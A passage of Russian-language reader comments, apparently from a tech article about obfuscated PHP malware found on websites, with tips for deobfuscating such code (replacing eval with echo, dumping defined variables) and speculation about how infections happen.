            А самого главного не сказали: вместо eval подставляйте echo.
              0
                +8
                В большинстве случаев выполнение print_r(get_defined_vars()) рассказывает что это за код и зачем он нужен.
                  0
                  В практике несколько раз встречал на поддерживаемых сайтах аналогичные коды, когда было время — разбирался.
                  Я вот только понять не могу — как они там появлялись.
                    0
                    Сохраненный ftp/ssh доступ на домашних компах горе-разработчиков и сеошников, трояны, вот это все.
                    0
                    какой-то кривой обфускатор они применяли. Что мешало вместо $II1Ill сделать $IIlII (то есть вместо единицы и заглавной Ай использовать строчную Эл и заглавную Ай — они выглядят практически одинаково)?
                      +1
                      Они выглядят одинаково в шрифте Arial, но в других шрифтах различаются.

                    Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                    Самое читаемое